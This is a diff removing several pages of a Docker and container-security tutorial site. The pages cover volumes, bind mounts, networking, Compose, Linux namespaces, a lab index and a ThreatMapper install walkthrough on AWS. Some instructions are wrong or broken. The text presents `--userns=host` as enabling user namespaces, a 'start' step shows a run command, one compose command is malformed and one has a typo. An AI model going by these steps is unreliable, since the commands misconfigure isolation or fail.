This demonstrates how you can use a volume to store data in a docker container. The data will persist even if the container is stopped or deleted, as it is stored in the volume, which is managed by Docker.

-

Use a bind mount:

-

A bind mount is a file or directory on the host machine that is mounted into a container. This allows you to access data on the host machine from within the container. You can create a bind mount using the -v flag in the “docker run” command, specifying the path to the file or directory on the host as well as the desired mount point in the container.

-

Create a directory on the host machine that you want to use as the bind mount. For example:

-
mkdir /data
-

Run the docker container, using the -v flag to specify the bind mount. The syntax is -v host_directory:container_directory. For example:

-
docker run -d -p 8080:80 -v /data:/var/www/html my_web_server
-

This will mount the /data directory on the host machine to the /var/www/html directory in the container, which is typically the root directory for web server content.

-
    -
  • You can now add or modify files in the /data directory on the host machine and they will be automatically reflected in the container’s /var/www/html directory.
  • -
  • To verify that the bind mount is working, you can create a test file in the /data directory on the host machine:
  • -
-
echo "This is a test file" > /data/test.txt
-

Then, open a shell in the container and check if the file exists in the /var/www/html directory:

-
docker exec -it my_web_server /bin/bash
-ls /var/www/html
-

You should see the test.txt file listed in the output.

-

Use a data container: A data container is a container specifically designed to store data that can be shared between multiple containers. You can create a data container using the docker create command, and then mount the data container’s volume to a specific directory in other containers using the “-v” flag in the “docker run” command.

-

Create a new data container using the docker create command. For example:

-
docker create -v /data --name data-container busybox /bin/true
-

This creates a data container with a volume at /data and a name of data-container.

-

Start the data container using the docker start command. For example:

-

-docker run -it --volumes-from data-container --name app-container ubuntu bash
-

This creates a new container named app-container that will use the volume from the data container.

-
    -
  • In the app-container, you can now access the data stored in the data-container. For example:
  • -
-
root@7bd72f1f0f77:/# ls /data
-

This will show the contents of the /data volume in the data-container.

-

To stop the data container, use the docker stop command. For example:

-
docker stop data-container
-

This will stop the data container, but the data will still be available in the app-container.

-

To delete the data container, use the docker rm command. For example:

-
docker rm data-container
-

This will delete the data container, but the data will still be available in the app-container.

-
    -
  1. Use a host path: You can also store data directly on the host machine and access it from within the container using the “-v” flag in the “docker run” command, specifying the path on the host machine as the mount point in the container. However, this option is not recommended as it can lead to issues with container portability and separation of concerns.
  2. -
-

To use a host path to store data in Docker, you will need to use the “-v” flag in the “docker run” command to specify the host path and the container path for the data volume. Here is an example using a MongoDB container:

-

First, create a directory on your host machine to store the data:

-
mkdir -p /data/mongodb
-

Run the MongoDB container, using the “-v” flag to mount the host path as a data volume in the container:

-
docker run -d --name mongodb -v /data/mongodb:/data/db mongo:latest
-

You can verify that the data volume is being used by the container by checking the output of the “docker inspect” command:

-
docker inspect mongodb | grep -i "Mounts"
-

This should return a list of all the mounted data volumes, including the host path that you specified in the “docker run” command.

-

Note: Make sure that the host path that you specify in the “-v” flag exists and is readable/writable by the container. Otherwise, the container may not start or may have issues accessing the data volume.

-

Networking in containers

-

There are two types of networking in Docker:

-
    -
  • Bridge networking: This is the default networking mode in Docker. It creates a virtual network between containers on the same host. Each container is given its own IP address within this network, and containers can communicate with each other using this network.
  • -
-

First, create a Dockerfile that will build our container:

-
  FROM alpine
-  CMD ["echo", "Hello World!"]
-

Build the image using the following command:

-
docker build -t hello-world .
-docker run -it hello-world
-

Inspect the container’s networking configuration using the following command:

-
"NetworkSettings": {
-    "Bridge": "",
-    "SandboxID": "4f3c70f4f74b1dc5d5e5e3f5e5ed72c5e5e1f2613e1644b2aa5b004f2ab2d9e8",
-    "HairpinMode": false,
-    "LinkLocalIPv6Address": "",
-    "LinkLocalIPv6PrefixLen": 0,
-    "Ports": {},
-    "SandboxKey": "/var/run/docker/netns/4f3c70f4f74b",
-    "SecondaryIPAddresses": null,
-    "SecondaryIPv6Addresses": null,
-    "EndpointID": "f48c68e9ce012791d63f0b3ee3b3a85d6c7f6ed5b6c4b6e5b6d5b6c2e5e5f6d4",
-    "Gateway": "172.17.0.1",
-    "GlobalIPv6Address": "",
-    "GlobalIPv6PrefixLen": 0,
-    "IPAddress": "172.17.0.2",
-    "IPPrefixLen": 16,
-    "IPv6Gateway": "",
-    "MacAddress": "02:42:ac:11:00:02",
-    "Networks": {
-        "bridge": {
-            "IPAMConfig": null,
-            "Links": null,
-            "Aliases": null,
-            "NetworkID": "5e5f5c5d5e5d5e5f5d5f5c5e5d5e5d5d5e5f5d5e5f5c5d5e5d5e5f5c5e5f5d5e",
-            "EndpointID": "f48c68e9ce012791d63f0b3ee3b3a85d6c7f6ed5b6c4b6e5b6d5b6c2e5e5f6d4",
-            "Gateway": "172.17.0.1",
-            "IPAddress": "172.17.0.2",
-            "IPPrefixLen": 16,
-            "IPv6Gate
-
    -
  • Overlay networking: This type of networking allows you to connect multiple Docker hosts into a single virtual network. This is useful for situations where you have multiple hosts running Docker containers, and you want them to be able to communicate with each other.
  • -
-

Overlay networking in Docker allows containers to communicate with each other across multiple hosts. This is useful for situations where you have multiple Docker hosts running and you want to create a network that spans across those hosts.

-

To demonstrate overlay networking, we will create two Docker hosts and a single network that will be shared between them. We will then create two containers, one on each host, and demonstrate that they can communicate with each other through the overlay network.

-

First, we will create two Docker hosts using Docker Machine. For this example, we will use two virtual machines running on VirtualBox.

-
docker-machine create --driver virtualbox host1
-docker-machine create --driver virtualbox host2
-

Next, we will create an overlay network on one of the hosts. We will name this network “mynetwork” and specify the --attachable flag so that other containers can attach to it

-
eval $(docker-machine env host1)
-docker network create --driver overlay --attachable mynetwork
-

Now that the network has been created, we can deploy containers on both hosts and attach them to the network.

-

On host1:

-

-eval $(docker-machine env host1)
-docker run -d --name container1 --network mynetwork busybox
-

On host2:

-
eval $(docker-machine env host2)
-docker run -d --name container2 --network mynetwork busybox
-

Now that both containers are attached to the same overlay network, we can verify that they can communicate with each other.

-

On host1:

-
eval $(docker-machine env host1)
-docker exec -it container1 ping -c 3 container2
-

On host2:

-
eval $(docker-machine env host2)
-docker exec -it container2 ping -c 3 container1
-

If the ping commands are successful, it means that the containers are able to communicate with each other through the overlay network.

-

This is just a simple example of how overlay networking can be used in Docker. There are many other uses and configurations that can be explored.

-

Docker Compose

-

Docker Compose is a tool for defining and running multi-container Docker applications. With Compose, you use a YAML file to configure your application’s services. Then, with a single command, you create and start all the services from your configuration.

-

To install Docker Compose, follow the instructions for your operating system:

-
# For macOS or Linux:
-sudo curl -L "https://github.com/docker/compose/releases/download/1.28.5/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
-sudo chmod +x /usr/local/bin/docker-compose
-
-# For Windows:
-Download the Docker Compose binary from https://github.com/docker/compose/releases/download/1.28.5/docker-compose-Windows-x86_64.exe and save it to a location on your PATH (e.g., C:\Program Files\Docker).
-

Once Docker Compose is installed, you can use it to create and start your multi-container Docker application by using the docker-compose up command. For example, suppose you have a YAML file called docker-compose.yml that defines your application’s services like this:

-
version: '3'
-services:
-  web:
-    build: .
-    ports:
-      - "5000:5000"
-    volumes:
-      - .:/app
-  redis:
-    image: "redis:alpine"
-

You can start all of these services with the following command:

-
docker-compose up
-

This command will build the web service image, create and start the web and redis containers, and attach the terminal to the logs of the running containers.

-

Docker Compose Build

-
docker-compose build
-

Redeploy just one Service

-
docker-compose up $SERVICE_NAME
-

start all services / container using docker compose

-
docker-compose up
-
-// Specify a custom filepath for your 
-//docker-compose file 
-// (it assumes docker-compose.yml in
-//your current directory by default)
-ocker-compose -f custom-docker-compose.yml up
-
-// Apply multiple compose files (changes in latter)
-
-docker-compose -f docker-compose.yml docker-compose-production.yml
-

sample docker-compose file

-

-#docker-compose.yml file
-version: '3'
-services:
-  # Your web application => Container
-  web:
-    build: .
-    ports:
-    - "5000:5000"
-
-  # Redis cache container
-  redis:
-    image: "redis:alpine"
-

-version: "3"
-
-networks:
-  backend:
-    driver: bridge
-
-services:
-  app:
-    build:
-      context: .
-      dockerfile: Dockerfile
-    container_name: app
-    image: ${REGISTRY}/my-project-name
-    restart: always
-    ports:
-      - "80:80"
-      - "443:443"
-    depends_on:
-        - db
-    networks:
-      - backend
-    env_file:
-      - ./.env
-
-  db:
-    image: mariadb:10.5
-    container_name: db
-    restart: always
-    networks:
-        backend
-    volumes:
-      - mysql-data:/var/lib/mysql
-    environment:
-      - FOO=bar
-      - SOME_ENV_VAR=${SUBSTITUTED_VARIABLE}
-    env_file:
-      - ./.env
-
-volumes:
-  mysql-data:
-    driver: local
-

labels

-
services:
-  web:
-    labels:
-      com.app.description: "My web app"
-

Docker CheatSheet

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/containersecurity/namespaces/index.html b/public/containersecurity/namespaces/index.html deleted file mode 100644 index 3df1ef6..0000000 --- a/public/containersecurity/namespaces/index.html +++ /dev/null @@ -1,625 +0,0 @@ - - - - - - - - -Namespaces · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Namespaces

-
-
- - -

Namespaces

-

There are several types of namespaces in containers, including:

-
    -
  1. -

    PID Namespaces:

    -
      -
    • These namespaces isolate the process IDs of containers from the host system and from other containers. This means that each container has its own set of process IDs, which helps to prevent conflicts and ensures that containers cannot access processes belonging to other containers or the host system.
    • -
    -
  2. -
  3. -

    Network Namespaces:

    -
      -
    • These namespaces isolate the network interfaces and IP addresses of containers from the host system and from other containers. This allows each container to have its own virtual network interface and IP address, enabling them to communicate with each other and with the host system.
    • -
    -
  4. -
  5. -

    Mount Namespaces:

    -
      -
    • These namespaces isolate the file systems of containers from the host system and from other containers. This allows each container to have its own file system, which is separate from the file systems of other containers and the host system.
    • -
    -
  6. -
  7. -

    User Namespaces:

    -
      -
    • These namespaces isolate the user IDs of containers from the host system and from other containers. This allows containers to run as a different user or group than the host system, which helps to prevent privilege escalation and ensures that containers cannot access resources belonging to other containers or the host system.
    • -
    -
  8. -
  9. -

    UTS Namespaces:

    -
      -
    • These namespaces isolate the hostname and domain name of containers from the host system and from other containers. This allows each container to have its own hostname and domain name, which can be used to identify the container within a network.
    • -
    -
  10. -
- -

PID Namespaces with example

-
    -
  • -

    PID namespaces are a Linux kernel feature that allow processes to have their own unique process identifier (PID) space, separate from the global PID space. This allows for the creation of multiple, isolated process hierarchies within a single host.

    -
  • -
  • -

    For example, consider a scenario where you want to run multiple instances of a web server on a single host, each with its own set of processes. Without PID namespaces, you would have to manually manage the PIDs of each instance to ensure that there are no conflicts between them.

    -
  • -
  • -

    With PID namespaces, you can simply create a new namespace for each instance of the web server, and the processes within each namespace will have their own unique PIDs, separate from the other instances. This makes it much easier to manage and isolate the processes of each instance.

    -
  • -
-

To create a new PID namespace, you can use the “unshare” command, followed by the -pid flag. For example:

-
$ unshare --pid bash
-

This will create a new bash shell within a new PID namespace, and any processes that you start within this shell will have their own unique PIDs within that namespace. You can verify this by running the “ps” command and observing the PIDs of the processes.

- -

Network Namespaces with example

-

Namespaces are a way for containers to share a single kernel, but have their own set of resources and processes. This allows for multiple containers to run on a single host without conflicting with each other.

-

For example, if we have two containers running on a host, each with their own namespace for network resources, they will be able to use the same network interface, but will not be able to see or interact with each other’s network connections.

-

To demonstrate this, we can use the following commands:

-

First, create a namespace for network resources using the “ip netns” command:

-
# ip netns add container1
-

Now, create a veth pair (virtual Ethernet pair) to connect the namespace to the host:

-
# ip link add veth0 type veth peer name veth1
-

Assign veth1 to the namespace:

-
# ip link set veth1 netns container1
-

Bring up the veth pair:

-
# ip link set veth0 up
-# ip netns exec container1 ip link set veth1 up
-

Now, assign an IP address to veth0:

-
# ip addr add 192.168.0.1/24 dev veth0
-

And assign an IP address to veth1 in the namespace:

-
# ip netns exec container1 ip addr add 192.168.0.2/24 dev veth1
-

ow, we can test connectivity between the host and the namespace by pinging the IP address assigned to veth1:

-
# ping 192.168.0.2
-

In this example, we created a namespace for network resources and connected it to the host using a veth pair. We were then able to assign IP addresses to each end of the pair and ping the IP address in the namespace from the host, demonstrating that the namespace is isolated from the host’s network resources. -

-

Mount Namespaces with example

-

Mount namespaces in containers allow for the creation of isolated environments for file systems. This means that each container has its own unique file system, separate from the host operating system and other containers.

-

For example, let’s say we have a container running a web server. Within this container, we have the necessary files and directories for the web server to run, such as HTML files and images.

-

Now, let’s say we want to run a second container that also has a web server, but with different HTML files and images. If we didn’t have mount namespaces, both containers would be sharing the same file system and could potentially overwrite or interfere with each other’s files.

-

However, with mount namespaces, each container has its own isolated file system. This allows us to run both web servers with different files and directories, without them affecting each other.

-

To create a mount namespace in a container, we can use the --mount flag when running the container. For example:

-
$ docker run -d --name mycontainer --mount type=bind,source=/path/to/files,
-target=/var/www/html nginx
-

This command creates a new container named “mycontainer” and mounts the directory at /path/to/files from the host operating system to the /var/www/html directory within the container. This allows the web server within the container to access and serve the files from the host operating system.

-

User Namespaces with example

-

User Namespaces in containers allow the container to have its own independent user and group IDs, separate from the host system. This can be useful for providing isolation and security within the container, as well as allowing the container to run processes with different user and group permissions than the host system.

-

For example, let’s say we have a container running as the user appuser with a user ID of 1000 and a group ID of 1000. Without User Namespaces, this user would have the same permissions as the user appuser on the host system. However, with User Namespaces enabled, we can map the user and group IDs within the container to different IDs on the host system. For example, we could map the user ID 1000 within the container to the user ID 2000 on the host system. This would allow the container to run processes as user 2000 on the host system, while still appearing as user 1000 within the container.

-

To enable User Namespaces in a container, we can use the --userns flag when starting the container. For example:

-
docker run --userns=host -it ubuntu
-

This will start a new container running the Ubuntu image, with User Namespaces enabled and mapped to the host system’s user and group IDs.

-

UTS Namespaces with example

-

UTS namespaces allow containers to have their own hostname and domain name system (DNS) domain, separate from the host machine. This means that each container can have its own hostname and DNS domain, without affecting the host machine or other containers.

-

To demonstrate this with a hands-on example, we can create a container using Docker and specify a hostname for the container.

-

First, let’s create a container using the following command:

-
docker run -it --name my_container ubuntu
-

This will create a container named my_container using the Ubuntu image. Now, let’s specify a hostname for this container using the -h flag:

-
docker run -it --name my_container -h my_container_host ubuntu
-

Now, if we check the hostname of the container using the hostname command, it will return my_container_host. This hostname is specific to the container and is not the same as the host machine’s hostname.

-

We can also specify a DNS domain for the container using the --dns-domain flag:

-
docker run -it --name my_container -h my_container_host --dns-domain 
-my_container_domain ubuntu
-

Now, if we check the DNS domain of the container using the “hostname -d” command, it will return “my_container_domain”. This DNS domain is specific to the container and is not the same as the host machine’s DNS domain.

-

By using UTS namespaces, we can give each container its own unique hostname and DNS domain, allowing them to be isolated and operate independently from the host machine and other containers.

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - Prev - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/containersecurity/overview/index.html b/public/containersecurity/overview/index.html deleted file mode 100644 index 9d6899a..0000000 --- a/public/containersecurity/overview/index.html +++ /dev/null @@ -1,634 +0,0 @@ - - - - - - - - -Container Security · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Container Security

-
-
- - -

Table of Content

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
TitleLink
1.What is container?lab
2.Container vs. Virtualizationlab
3.Container Advantage and Disadvantageslab
4.Namespaceslab
5.Cgroups
6.Capabilitieslab
7.Docker architecture and its componentslab
8.Interacting with container ecosystemlab
9.Attack surface of the container ecosystemlab
10.Environment variableslab
11.Docker volumeslab
12.Docker Networkinglab
13.Auditing Docker Securitylab
14.Container Image Securitylab
15.DockerFile Security Best Practiceslab
16.SecretScanner - Finding secrets and passwords in container images and file systemslab
17.YaraHunter - Malware Scanner for Container Imageslab
18.Security Linting of Dockerfileslab
19.Static Analysis of container images/library for containerlab
20.Docker host security configurationslab
21.Docker Daemon security configurationslab
22.Content Trust and Integrity checkslab
23.Docker Registry security configurationslab
24. DockerScanlab
25.Divelab
26.Scanning Docker for vulnerabilities with ThraetMappeperlab
27.Docker eventslab
28.Sock Shop Docker Compose & Weavelab
-

What next

- - -
- - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - - - Next - -
-
- -
-
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/public/containersecurity/scanning-docker-for-vulnerabilities-with-thraetmappeper/index.html b/public/containersecurity/scanning-docker-for-vulnerabilities-with-thraetmappeper/index.html deleted file mode 100644 index 8d43de7..0000000 --- a/public/containersecurity/scanning-docker-for-vulnerabilities-with-thraetmappeper/index.html +++ /dev/null @@ -1,1291 +0,0 @@ - - - - - - - - -Scanning Docker for vulnerabilities with ThraetMappeper · kubedaily - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - - -
-
- -
-

Scanning Docker for vulnerabilities with ThraetMappeper

-
-
- - -

Orignally published on CloudNativeFolks

-

ThreatMapper

-

ThreatMapper hunts for threats in your production platforms, and ranks these threats based on their risk-of-exploit. It uncovers vulnerable software components, exposed secrets and deviations from good security practice. ThreatMapper uses a combination of agent-based inspection and agent-less monitoring to provide the widest possible coverage to detect threats.

-

Readme Card

-

ThreatMapper carries on the good ‘shift left’ security practices that you already employ in your development pipelines. It continues to monitor running applications against emerging software vulnerabilities and monitors the host and cloud configuration against industry-expert benchmarks.

-

The ThreatMapper Management Console is a container-based application that can be deployed on a single docker host or in a Kubernetes cluster.

-

What exactly this management console useful for you?

-
    -
  • -

    Topology-based learning of your live infrastructure

    -

    -
  • -
  • -

    Identify Threats and Vulnerabilities and generate SBOM (software bill of material )

    -
  • -
  • -

    ThreatGraph visualization, you can then identify the issues that present the greatest risk to the security of your applications, and prioritize these for planned protection or remediation.

    -

    -
  • -
  • -

    Manage the users who can access the console.

    -
  • -
  • -

    Configure Infrastructure API access and interrogate platform configurations.

    -
  • -
  • -

    Visualize and drill down into Kubernetes clusters, virtual machines, containers and images, running processes, and network connections in near real-time.

    -
  • -
  • -

    Invoke vulnerability scans on running containers and applications and review the results, ranked by the risk of exploit.

    -
  • -
  • -

    Invoke compliance scans on infrastructure configuration (‘agentless’) and on infrastructure hosts (‘agent-based), - manually or automatically when they are added to a cluster.

    -
  • -
  • -

    Scan container registries for vulnerabilities, to review workloads before they are deployed.

    -
  • -
  • -

    Scan image builds during the CI/CD pipeline, supporting CircleCI, Jenkins, and GitLab.

    -

    -
  • -
  • -

    Scan containers and host filesystems for unprotected secrets, including access tokens, keys and passwords.

    -
  • -
  • -

    Configure integrations with external notification, SIEM and ticketing systems, including Slack, PagerDuty, Jira, Splunk, ELK, Sumo Logic, and AWS S3. ThreatMapper supports multiple production deployments simultaneously so that you can visualize and scan workloads across a large production estate.

    -
  • -
-

in a short one-stop solution for your cloud-native security issues! and it’s 100% open source

-

login to AWS account:- console.aws.amazon.com

-

Deploy ThreatMapper Console using Docker Compose on Linux VM using AWS EC2

-
    -
  • -

    Create Ubuntu Instance on AWS EC2

    -

    -
  • -
-

select instance type as per requirements

-

-

Click on the launch instance

-

-

hurry!

-

-

access AWS instance using CLI

-

-

-
sudo apt install -y apt-transport-https ca-certificates curl software-properties-common
-Reading package lists... Done
-Building dependency tree... Done
-Reading state information... Done
-ca-certificates is already the newest version (20211016).
-ca-certificates set to manually installed.
-software-properties-common is already the newest version (0.99.22.3).
-software-properties-common set to manually installed.
-The following additional packages will be installed:
-  libcurl4
-The following NEW packages will be installed:
-  apt-transport-https
-The following packages will be upgraded:
-  curl libcurl4
-2 upgraded, 1 newly installed, 0 to remove and 76 not upgraded.
-Need to get 485 kB of archives.
-After this operation, 169 kB of additional disk space will be used.
-Get:1 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/universe amd64 apt-transport-https all 2.4.8 [1506 B]
-Get:2 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/main amd64 curl amd64 7.81.0-1ubuntu1.6 [194 kB]
-Get:3 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/main amd64 libcurl4 amd64 7.81.0-1ubuntu1.6 [290 kB]
-Fetched 485 kB in 0s (11.0 MB/s)  
-Selecting previously unselected package apt-transport-https.
-(Reading database ... 63926 files and directories currently installed.)
-Preparing to unpack .../apt-transport-https_2.4.8_all.deb ...
-Unpacking apt-transport-https (2.4.8) ...
-Preparing to unpack .../curl_7.81.0-1ubuntu1.6_amd64.deb ...
-Unpacking curl (7.81.0-1ubuntu1.6) over (7.81.0-1ubuntu1.4) ...
-Preparing to unpack .../libcurl4_7.81.0-1ubuntu1.6_amd64.deb ...
-Unpacking libcurl4:amd64 (7.81.0-1ubuntu1.6) over (7.81.0-1ubuntu1.4) ...
-Setting up apt-transport-https (2.4.8) ...
-Setting up libcurl4:amd64 (7.81.0-1ubuntu1.6) ...
-Setting up curl (7.81.0-1ubuntu1.6) ...
-Processing triggers for man-db (2.10.2-1) ...
-Processing triggers for libc-bin (2.35-0ubuntu3.1) ...
-Scanning processes...                                                                                                                       
-Scanning linux images...                                                                                                                    
-
-Running kernel seems to be up-to-date.
-

Install docker

-
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
-sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu focal stable"
-apt-cache policy docker-ce
-sudo apt install -y docker-ce
-Warning: apt-key is deprecated. Manage keyring files in trusted.gpg.d instead (see apt-key(8)).
-OK
-Repository: 'deb [arch=amd64] https://download.docker.com/linux/ubuntu focal stable'
-Description:
-Archive for codename: focal components: stable
-More info: https://download.docker.com/linux/ubuntu
-Adding repository.
-Press [ENTER] to continue or Ctrl-c to cancel.
-Found existing deb entry in /etc/apt/sources.list.d/archive_uri-https_download_docker_com_linux_ubuntu-jammy.list
-Adding deb entry to /etc/apt/sources.list.d/archive_uri-https_download_docker_com_linux_ubuntu-jammy.list
-Found existing deb-src entry in /etc/apt/sources.list.d/archive_uri-https_download_docker_com_linux_ubuntu-jammy.list
-Adding disabled deb-src entry to /etc/apt/sources.list.d/archive_uri-https_download_docker_com_linux_ubuntu-jammy.list
-Hit:1 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy InRelease
-Hit:2 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates InRelease                            
-Hit:3 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-backports InRelease                          
-Hit:4 https://download.docker.com/linux/ubuntu focal InRelease                                          
-Hit:5 http://security.ubuntu.com/ubuntu jammy-security InRelease                                        
-Reading package lists... Done
-W: https://download.docker.com/linux/ubuntu/dists/focal/InRelease: Key is stored in legacy trusted.gpg keyring (/etc/apt/trusted.gpg), see the DEPRECATION section in apt-key(8) for details.
-docker-ce:
-  Installed: 5:20.10.21~3-0~ubuntu-focal
-  Candidate: 5:20.10.21~3-0~ubuntu-focal
-  Version table:
- *** 5:20.10.21~3-0~ubuntu-focal 500
-        500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages
-        100 /var/lib/dpkg/status
-     5:20.10.20~3-0~ubuntu-focal 500
-        500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages
-     5:20.10.19~3-0~ubuntu-focal 500
-        500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages
-     5:20.10.18~3-0~ubuntu-focal 500
-        500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages
-     5:20.10.17~3-0~ubuntu-focal 500
-        500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages
-     5:20.10.16~3-0~ubuntu-focal 500
-        500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages
-     5:20.10.15~3-0~ubuntu-focal 500
-        500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages
-     5:20.10.14~3-0~ubuntu-focal 500
-        500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages
-     5:20.10.13~3-0~ubuntu-focal 500
-        500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages
-     5:20.10.12~3-0~ubuntu-focal 500
-        500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages
-     5:20.10.11~3-0~ubuntu-focal 500
-        500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages
-     5:20.10.10~3-0~ubuntu-focal 500
-        500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages
-     5:20.10.9~3-0~ubuntu-focal 500
-        500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages
-     5:20.10.8~3-0~ubuntu-focal 500
-        500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages
-     5:20.10.7~3-0~ubuntu-focal 500
-        500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages
-     5:20.10.6~3-0~ubuntu-focal 500
-        500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages
-     5:20.10.5~3-0~ubuntu-focal 500
-        500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages
-     5:20.10.4~3-0~ubuntu-focal 500
-        500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages
-     5:20.10.3~3-0~ubuntu-focal 500
-        500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages
-     5:20.10.2~3-0~ubuntu-focal 500
-        500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages
-     5:20.10.1~3-0~ubuntu-focal 500
-        500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages
-     5:20.10.0~3-0~ubuntu-focal 500
-        500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages
-     5:19.03.15~3-0~ubuntu-focal 500
-        500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages
-     5:19.03.14~3-0~ubuntu-focal 500
-        500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages
-     5:19.03.13~3-0~ubuntu-focal 500
-        500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages
-     5:19.03.12~3-0~ubuntu-focal 500
-        500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages
-     5:19.03.11~3-0~ubuntu-focal 500
-        500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages
-     5:19.03.10~3-0~ubuntu-focal 500
-        500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages
-     5:19.03.9~3-0~ubuntu-focal 500
-        500 https://download.docker.com/linux/ubuntu focal/stable amd64 Packages
-Reading package lists... Done
-Building dependency tree... Done
-Reading state information... Done
-

verify whether docker is installed or not

-
docker 
-
-Usage:  docker [OPTIONS] COMMAND
-
-A self-sufficient runtime for containers
-
-Options:
-      --config string      Location of client config files (default "/home/ubuntu/.docker")
-  -c, --context string     Name of the context to use to connect to the daemon (overrides DOCKER_HOST env var and default context set
-                           with "docker context use")
-  -D, --debug              Enable debug mode
-  -H, --host list          Daemon socket(s) to connect to
-  -l, --log-level string   Set the logging level ("debug"|"info"|"warn"|"error"|"fatal") (default "info")
-      --tls                Use TLS; implied by --tlsverify
-      --tlscacert string   Trust certs signed only by this CA (default "/home/ubuntu/.docker/ca.pem")
-      --tlscert string     Path to TLS certificate file (default "/home/ubuntu/.docker/cert.pem")
-      --tlskey string      Path to TLS key file (default "/home/ubuntu/.docker/key.pem")
-      --tlsverify          Use TLS and verify the remote
-  -v, --version            Print version information and quit
-
-Management Commands:
-  app*        Docker App (Docker Inc., v0.9.1-beta3)
-  builder     Manage builds
-  buildx*     Docker Buildx (Docker Inc., v0.9.1-docker)
-  config      Manage Docker configs
-  container   Manage containers
-  context     Manage contexts
-  image       Manage images
-  manifest    Manage Docker image manifests and manifest lists
-  network     Manage networks
-  node        Manage Swarm nodes
-  plugin      Manage plugins
-  scan*       Docker Scan (Docker Inc., v0.21.0)
-  secret      Manage Docker secrets
-  service     Manage services
-  stack       Manage Docker stacks
-  swarm       Manage Swarm
-  system      Manage Docker
-  trust       Manage trust on Docker images
-  volume      Manage volumes
-
-Commands:
-  attach      Attach local standard input, output, and error streams to a running container
-  build       Build an image from a Dockerfile
-  commit      Create a new image from a container's changes
-  cp          Copy files/folders between a container and the local filesystem
-  create      Create a new container
-  diff        Inspect changes to files or directories on a container's filesystem
-  events      Get real time events from the server
-  exec        Run a command in a running container
-  export      Export a container's filesystem as a tar archive
-  history     Show the history of an image
-  images      List images
-  import      Import the contents from a tarball to create a filesystem image
-  info        Display system-wide information
-  inspect     Return low-level information on Docker objects
-  kill        Kill one or more running containers
-  load        Load an image from a tar archive or STDIN
-  login       Log in to a Docker registry
-  logout      Log out from a Docker registry
-  logs        Fetch the logs of a container
-  pause       Pause all processes within one or more containers
-  port        List port mappings or a specific mapping for the container
-  ps          List containers
-  pull        Pull an image or a repository from a registry
-  push        Push an image or a repository to a registry
-  rename      Rename a container
-  restart     Restart one or more containers
-  rm          Remove one or more containers
-  rmi         Remove one or more images
-  run         Run a command in a new container
-  save        Save one or more images to a tar archive (streamed to STDOUT by default)
-  search      Search the Docker Hub for images
-  start       Start one or more stopped containers
-  stats       Display a live stream of container(s) resource usage statistics
-  stop        Stop one or more running containers
-  tag         Create a tag TARGET_IMAGE that refers to SOURCE_IMAGE
-  top         Display the running processes of a container
-  unpause     Unpause all processes within one or more containers
-  update      Update configuration of one or more containers
-  version     Show the Docker version information
-  wait        Block until one or more containers stop, then print their exit codes
-
-Run 'docker COMMAND --help' for more information on a command.
-

install docker-compose

-
sudo sysctl -w vm.max_map_count=262144 
-sudo curl -L https://github.com/docker/compose/releases/latest/download/docker-compose-linux-x86_64 -o /usr/local/bin/docker-compose
-sudo mv /usr/local/bin/docker-compose /usr/bin/docker-compose
-sudo chmod +x /usr/bin/docker-compose
-docker-compose --version
-vm.max_map_count = 262144
-

docker-compose up

-
 sudo docker-compose -f docker-compose.yml up --detach
-

pulling all docker images required for the management console

-
[+] Running 132/133al-router Pulled                                                                                                    5.1s
-  deepfence-ui Pulling                                                                                                               55.8s
